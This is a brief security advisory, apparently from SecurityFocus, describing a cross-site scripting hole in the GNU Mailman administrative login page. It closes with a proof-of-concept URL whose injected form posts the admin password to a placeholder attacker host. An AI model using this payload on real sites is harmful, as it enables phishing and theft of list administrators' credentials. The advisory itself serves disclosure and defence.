source: https://www.securityfocus.com/bid/4825/info
GNU Mailman is prone to a cross-site scripting vulnerability. An attacker may construct a malicious link to the administrative login page, which contains arbitrary HTML and script code.
A user visiting the link will have the attacker's script code executed in their web browser in the context of the site running the vulnerable software.
http://target/mailman_directory/admin/ml-name?adminpw="></form><form/action="http://attackerhost/attackerscript.cgi"/method="post"><br